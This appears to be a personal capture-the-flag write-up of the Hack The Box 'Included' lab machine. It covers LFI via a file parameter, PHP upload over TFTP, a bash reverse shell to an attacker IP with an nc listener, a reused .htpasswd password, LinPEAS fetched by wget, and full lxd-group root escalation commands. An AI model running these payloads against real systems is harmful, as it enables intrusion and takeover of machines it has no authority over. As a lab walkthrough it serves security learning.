In my quest to polish off all the starting point Hack The Box machines before they get stuck behind a paywall again in January, I moved on to the Included machine.
I started off, as is custom, with an nmap scan.
# Nmap 7.92 scan initiated Thu Dec 23 19:44:17 2021 as: nmap -sC -sV -p- -oN full.nmap 10.129.107.58
Nmap scan report for 10.129.107.58
Host is up (0.22s latency).
Not shown: 65534 closed tcp ports (reset)
PORT STATE SERVICE VERSION
80/tcp open http Apache httpd 2.4.29 ((Ubuntu))
| http-title: Site doesn't have a title (text/html; charset=UTF-8).
|_Requested resource was http://10.129.107.58/?file=home.php
|_http-server-header: Apache/2.4.29 (Ubuntu)
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Thu Dec 23 20:01:17 2021 -- 1 IP address (1 host up) scanned in 1020.70 seconds
I navigated to the the HTTP server using my browser and was met with the following page.
Of particular interest to me was the URL http://10.129.95.185/?file=home.php
, it appeared that the server was serving whatever file was specified by the URL’s file
parameter. To test this out, I tried navigating to http://10.129.95.185/?file=/etc/passwd
and got the following result.
I knew that this LFI vulnerability could potentially be used to gain a reverse shell if I was able to upload PHP code to the server, however this is where I hit a bit of a snag. My first idea was to attempt log poisoning, however this idea was canned pretty quickly when I realised that I was unable to use LFI to access /var/log/apache2/access.log
. A little perplexed, I performed another nmap scan, this time looking for UDP services to see if there was anything I was missing, it revealed the following.
# Nmap 7.92 scan initiated Thu Dec 23 20:02:29 2021 as: nmap -sC -sV -sU -oN udp.nmap 10.129.107.58
Nmap scan report for 10.129.107.58
Host is up (0.22s latency).
Not shown: 998 closed udp ports (port-unreach)
PORT STATE SERVICE VERSION
68/udp open|filtered dhcpc
69/udp open|filtered tftp
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Thu Dec 23 20:21:56 2021 -- 1 IP address (1 host up) scanned in 1167.20 seconds
Of particular interest here was the TFTP service, after some research I discovered that this service could be used to upload and download files from a server and was essentially a UDP equivalent of FTP. I discovered that it could be accessed via the following command
tftp $IP
I also discovered that TFTP’s default storage location is /var/lib/tftpboot/
. With this information in hand a set up a quick test, I created the following file and uploaded it to the server using TFTP.
// Name: info.php
<?php
phpinfo();
?>
I then used the previously identified LFI vulnerability to see if I could access this file.
Voila! Just like that I knew I could get RCE on this server. I then set up another PHP file with the following contents.
// Name: shell.php
<?php
exec("/bin/bash -c 'bash -i >& /dev/tcp/10.10.14.19/5555 0>&1'");
?>
On my attacking machine I also ran the following command.
nc -lnvp 5555
I then uploaded it to the server and accessed it in the same way as I had with info.php.
With that, I had managed to acquire a reverse shell on the system. From here I stabilised the shell using my usual technique and went looking to see if I could find anything interesting. First thing I noticed was the presence of a .htpasswd
file containing the following contents.
mike:Sheffield19
I noted that there was a mike
account on the machine itself, so I tried su mike
with the password Sheffield19
and was successful in logging in as this user. I continued to have a bit of a poke around, I was able to find the user flag at /home/mike/user.txt
, but not much more, so I decided to bring out the big guns, LinPEASS. I uploaded and ran linpeas.sh
on the server using the following commands.
# Attacker machine
sudo python3 -m http.server 80 # From the directory containing linpeas.sh
# Victim machine
wget http://10.10.14.7/linpeas.sh
chmod 764 linpeas.sh
./linpeas.sh
LinPEASS was able to identify the lxd
group following as a 95% likely privilege escalation vector.
User & Groups: uid=1000(mike) gid=1000(mike) groups=1000(mike),108(lxd)
With this information in hand, I did a bit of poking around the internet to see how this could be exploited and found the following method.
# build a simple alpine image on the attacker machine
git clone https://github.com/saghul/lxd-alpine-builder
cd lxd-alpine-builder
sed -i 's,yaml_path="latest-stable/releases/$apk_arch/latest-releases.yaml",yaml_path="v3.8/releases/$apk_arch/latest-releases.yaml",' build-alpine
sudo ./build-alpine -a i686
# transfer resulting file to the victim machine
# import the image
lxc image import ./alpine*.tar.gz --alias myimage # It's important doing this from YOUR HOME directory on the victim machine, or it might fail.
# before running the image, start and configure the lxd storage pool as default
lxd init
# run the image
lxc init myimage mycontainer -c security.privileged=true
# mount the /root into the image
lxc config device add mycontainer mydevice disk source=/ path=/mnt/root recursive=true
# interact with the container
lxc start mycontainer
lxc exec mycontainer /bin/sh
From here I had created a shell within my Alpine container which had root access to the machine’s file system, which had been mounted at /mnt/root
within the container. From here I was able to access the root flag at /mnt/root/root/root.txt
.